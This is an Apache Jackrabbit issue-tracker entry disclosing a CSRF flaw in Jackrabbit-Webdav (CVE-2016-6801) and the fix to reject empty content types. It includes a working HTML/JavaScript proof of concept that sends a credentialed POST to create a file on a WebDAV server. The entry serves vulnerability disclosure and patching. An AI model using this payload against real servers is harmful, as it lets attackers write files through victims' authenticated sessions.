Uploaded image for project: 'Jackrabbit Content Repository'
  1. Jackrabbit Content Repository
  2. JCR-4002

CSRF in Jackrabbit-Webdav using empty content-type (CVE-2016-6801)

    XMLWordPrintableJSON

Details

    Description

      As per [0] the CSRF content-type check does not include a null request content type. This can be exploited to create a resource via CSRF like so:

      <html>
        <body>
          <script>
            function submitRequest()
            {
              var xhr = new XMLHttpRequest();
              xhr.open("POST", "http://localhost:42427/test/csrf.txt", true);
              xhr.withCredentials = true;
              var body = "This file has been uploaded via CSRF.=\r\n";
              var aBody = new Uint8Array(body.length);
              for (var i = 0; i < aBody.length; i++)
                aBody[i] = body.charCodeAt(i); 
              xhr.send(new Blob([aBody]));
            }
          </script>
          <form action="#">
            <input type="button" value="Submit request" onclick="submitRequest();" />
          </form>
        </body>
      </html>
      

      I will mitigate this particular issue by including a null content type in the list of rejected content types.

      [0] https://github.com/cryptomator/cryptomator/issues/319

      Attachments

        1. JCR_4002__CSRF_in_Jackrabbit_Webdav_using_empty_content_type.patch
          15 kB
          Dominique Jäggi
        2. CVE-2016-6801.txt
          2 kB
          Julian Reschke

        Issue Links

          Activity

            People

              dominique.jaeggi Dominique Jäggi
              dominique.jaeggi Dominique Jäggi
              Votes:
              0 Vote for this issue
              Watchers:
              5 Start watching this issue

              Dates

                Created:
                Updated:
                Resolved: